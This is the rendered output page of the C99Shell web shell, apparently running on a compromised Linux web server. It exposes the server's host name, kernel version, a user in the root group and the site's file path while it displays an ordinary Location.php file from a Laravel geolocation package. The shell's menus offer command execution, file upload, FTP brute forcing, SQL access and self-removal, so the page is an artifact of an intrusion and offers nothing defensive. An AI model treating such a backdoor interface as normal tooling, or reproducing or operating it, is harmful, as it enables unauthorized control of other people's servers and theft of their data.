!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/classify.picotech.app/public_html/vendor/stevebauman/location/src/   drwxr-xr-x
Free 29.1 GB of 117.98 GB (24.66%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Location.php (2.98 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Stevebauman\Location;

use 
Illuminate\Contracts\Config\Repository;
use 
Stevebauman\Location\Drivers\Driver;
use 
Stevebauman\Location\Exceptions\DriverDoesNotExistException;

class 
Location
{
    
/**
     * The current driver.
     *
     * @var Driver
     */
    
protected $driver;

    
/**
     * The application configuration.
     *
     * @var Repository
     */
    
protected $config;

    
/**
     * Constructor.
     *
     * @param Repository $config
     *
     * @throws DriverDoesNotExistException
     */
    
public function __construct(Repository $config)
    {
        
$this->config $config;

        
$this->setDefaultDriver();
    }

    
/**
     * Set the current driver to use.
     *
     * @param Driver $driver
     */
    
public function setDriver(Driver $driver)
    {
        
$this->driver $driver;
    }

    
/**
     * Set the default location driver to use.
     *
     * @throws DriverDoesNotExistException
     */
    
public function setDefaultDriver()
    {
        
$driver $this->getDriver($this->getDefaultDriver());

        foreach (
$this->getDriverFallbacks() as $fallback) {
            
$driver->fallback($this->getDriver($fallback));
        }

        
$this->setDriver($driver);
    }

    
/**
     * Attempt to retrieve the location of the user.
     *
     * @param string|null $ip
     *
     * @return \Stevebauman\Location\Position|bool
     */
    
public function get($ip null)
    {
        if (
$location $this->driver->get($ip ?: $this->getClientIP())) {
            return 
$location;
        }

        return 
false;
    }

    
/**
     * Get the client IP address.
     *
     * @return string
     */
    
protected function getClientIP()
    {
        return 
$this->localHostTesting()
            ? 
$this->getLocalHostTestingIp()
            : 
request()->ip();
    }

    
/**
     * Determine if testing is enabled.
     *
     * @return bool
     */
    
protected function localHostTesting()
    {
        return 
$this->config->get('location.testing.enabled'true);
    }

    
/**
     * Get the testing IP address.
     *
     * @return string
     */
    
protected function getLocalHostTestingIp()
    {
        return 
$this->config->get('location.testing.ip''66.102.0.0');
    }

    
/**
     * Get the fallback location drivers to use.
     *
     * @return array
     */
    
protected function getDriverFallbacks()
    {
        return 
$this->config->get('location.fallbacks', []);
    }

    
/**
     * Get the default location driver.
     *
     * @return string
     */
    
protected function getDefaultDriver()
    {
        return 
$this->config->get('location.driver');
    }

    
/**
     * Attempt to create the location driver.
     *
     * @param string $driver
     *
     * @return Driver
     *
     * @throws DriverDoesNotExistException
     */
    
protected function getDriver($driver)
    {
        if (! 
class_exists($driver)) {
            throw 
DriverDoesNotExistException::forDriver($driver);
        }

        return 
app()->make($driver);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0036 ]--